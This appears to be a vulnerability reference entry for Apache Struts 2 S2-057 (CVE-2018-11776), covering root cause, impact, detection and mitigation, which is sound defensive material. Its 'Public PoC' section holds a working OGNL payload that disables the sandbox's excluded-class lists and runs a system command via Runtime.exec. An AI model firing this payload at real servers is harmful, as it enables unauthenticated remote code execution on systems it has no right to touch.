Struts2 S2-057 Namespace OGNL
- Product
- Apache Struts 2
- CVE
- CVE-2018-11776
- Disclosed
- 2018-08-22
- CVSS
- 8.1
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- 2.3 - 2.3.34, 2.5 - 2.5.16
- Fixed
- 2.3.35, 2.5.17
Summary
When an action has no namespace set (or uses a wildcard namespace) and alwaysSelectFullNamespace is true, the namespace portion of the URL is evaluated as OGNL. Requesting a URL such as /${expr}/action.action runs arbitrary code.
Root cause
Struts takes the namespace from the request URI when the action config does not define one, and later passes it through OGNL evaluation during result handling (e.g. redirectAction/chain results or the url tag). Because the value is user-controlled path data, OGNL injection results; payloads clear the excluded-classes/packages lists to bypass the sandbox.
Impact
Unauthenticated RCE on applications with the vulnerable (but common, e.g. Convention plugin) configuration.
Public PoC
# Test: response redirects to /struts2-showcase/54289/register2.action
http://target:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
# RCE expression (URL-encode and place in the namespace segment)
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context)
.(#cr=#ct['com.opensymphony.xwork2.ActionContext.container'])
.(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear())
.(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id'))
.(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}Source: vulhub / struts2/s2-057
Detection
Search access logs for '${' or '%24%7B' in the URI path before an .action segment. nuclei template CVE-2018-11776.
Mitigation
Upgrade to 2.3.35 / 2.5.17+; always set explicit namespaces and avoid alwaysSelectFullNamespace=true.